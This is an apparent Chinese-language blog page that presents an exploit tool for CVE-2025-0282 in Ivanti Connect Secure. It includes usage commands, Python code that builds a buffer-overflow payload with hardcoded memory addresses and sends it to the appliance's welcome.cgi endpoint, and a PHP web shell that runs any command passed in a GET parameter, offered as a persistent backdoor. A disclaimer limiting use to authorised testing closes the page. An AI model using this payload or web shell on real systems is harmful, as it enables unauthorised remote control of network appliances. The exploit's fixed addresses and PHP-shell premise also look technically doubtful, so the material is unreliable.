CVE-2025-0282 Ivanti 远程命令执行漏洞利用工具

CVE-2025-0282 Ivanti Connect Secure 远程命令执行利用工具

本项目提供了一个针对 Ivanti Connect Secure 系统中 CVE-2025-0282 漏洞的完整利用工具。该漏洞是存在于 Ivanti Connect Secure 产品中的严重缓冲区溢出漏洞,允许攻击者在未授权的情况下实现远程命令执行(RCE),并可进一步上传 Web Shell 以获取持久化控制。

功能特性

  • 远程命令执行:通过精心构造的缓冲区溢出载荷,在目标系统上执行任意系统命令
  • Web Shell 上传:支持将 PHP Web Shell 上传至目标服务器,实现持久化后门控制
  • HTTPS 支持:自动处理 SSL/TLS 加密连接,禁用证书验证以适配自签名证书场景
  • 交互式命令控制:Web Shell 上传后支持通过 HTTP GET 参数实时执行系统命令
  • 精确的内存地址利用 :针对目标系统架构预设了 system() 函数地址及命令缓冲区地址

安装指南

系统要求

  • Python 3.6 或更高版本
  • 目标系统:Ivanti Connect Secure(存在 CVE-2025-0282 漏洞的版本)

依赖安装

本项目依赖以下 Python 库:

bash 复制代码
pip install requests urllib3

下载项目

bash 复制代码
git clone https://github.com/your-repo/CVE-2025-0282-Ivanti-exploit.git
cd CVE-2025-0282-Ivanti-exploit

使用说明

基本用法

上传 Web Shell
bash 复制代码
python3 CVE_2025_0282_Ivanti.py <target_ip> <local_shell_path>

参数说明:

  • <target_ip>:目标 Ivanti 服务器的 IP 地址
  • <local_shell_path>:本地 Web Shell 文件的路径(如 shell.php
执行远程命令(通过 Web Shell)

上传成功后,访问已上传的 Web Shell 即可执行命令:

bash 复制代码
http://<target_ip>/shell.php?cmd=<command>

典型使用场景

场景 1:直接利用漏洞执行命令

工具会自动构造包含命令的缓冲区溢出载荷,通过 HTTPS POST 请求发送至 /dana-na/auth/url_default/welcome.cgi 端点,触发 RCE。

场景 2:上传持久化后门

shell.php 上传至目标服务器,之后可通过简单的 HTTP GET 请求持续执行系统命令。

核心代码解析

漏洞载荷生成
python 复制代码
def create_exploit_payload(command, offset=500, system_address=0x0804a360, command_address=0x0804b008):
    """
    构造缓冲区溢出利用载荷
    :param command: 要执行的系统命令
    :param offset: 缓冲区填充大小(触发溢出的偏移量)
    :param system_address: system() 函数的内存地址
    :param command_address: 命令字符串的存储地址
    :return: 完整的攻击载荷(字节串)
    """
    payload = b"A" * offset                    # 填充缓冲区至溢出点
    payload += struct.pack("<I", system_address)  # 覆盖返回地址为 system()
    payload += b"BBBB"                         # system() 返回后的占位地址
    payload += struct.pack("<I", command_address) # system() 的参数(命令地址)
    payload += command.encode()                # 实际要执行的命令字符串
    return payload
HTTPS 载荷发送
python 复制代码
def send_payload(target_ip, payload):
    """
    通过 HTTPS 发送攻击载荷到漏洞端点
    :param target_ip: 目标服务器 IP
    :param payload: 攻击载荷字节串
    :return: 服务器响应内容
    """
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE          # 忽略证书验证错误

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    ssl_sock = context.wrap_socket(sock, server_hostname=target_ip)
    ssl_sock.connect((target_ip, 443))

    exploit_endpoint = "/dana-na/auth/url_default/welcome.cgi"
    http_request = (
        f"POST {exploit_endpoint} HTTP/1.1\r\n"
        f"Host: {target_ip}\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"\r\n"
    ).encode() + payload

    ssl_sock.send(http_request)
    response = ssl_sock.recv(4096)
    ssl_sock.close()
    return response.decode(errors="replace")
Web Shell 后门代码
php 复制代码
<?php
// 文件: shell.php
// 用途: 通过 cmd 参数执行任意系统命令

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    echo "<pre>" . shell_exec($cmd) . "</pre>";
} else {
    echo "No command provided.";
}
?>

安全警告

⚠️ 本工具仅用于安全测试和教育目的。未经授权使用本工具攻击系统属于违法行为。使用者需遵守当地法律法规,并获得目标系统的明确授权后方可使用。 6HFtX5dABrKlqXeO5PUv/yZfAWEf+STWJ7aJRLg+r/OEKl16vQo/UDXVGt4+HWY+

相关推荐
代码Plato1 小时前
Tokenmaxxing的排行榜应该反着看
人工智能
云烟成雨TD1 小时前
Spring AI 1.x 系列【59】容器化开发支持:Docker Compose 与 Testcontainers
人工智能·spring·docker
weixin_307779131 小时前
智能模拟数据生成平台:生成式AI合成数据技术重塑开发测试效能
人工智能·测试工具·算法·测试用例
掘金一周1 小时前
走过路过有没有好心人help一下,我有两个问题需要大家帮忙集思广益下 | 沸点周刊 6.11
人工智能·ai编程·沸点
cui17875681 小时前
物业费收缴困局的破题之路:2026年社区商业逻辑的底层重构
大数据·数据库·人工智能
北塔软件1 小时前
北塔软件智能体平台 | 不只监控,更是AI时代的数据资产
运维·人工智能·知识库·北塔软件
早起CaiCai1 小时前
【Pytorch 实践1】手写数字
人工智能·pytorch·python
monsion2 小时前
Loop Engineering:你不再 prompt agent,而是设计 prompt agent 的系统
大数据·人工智能·prompt
卡梅德生物科技小能手2 小时前
卡梅德生物科普MCAM(黑色素瘤细胞黏附分子)
人工智能·经验分享·深度学习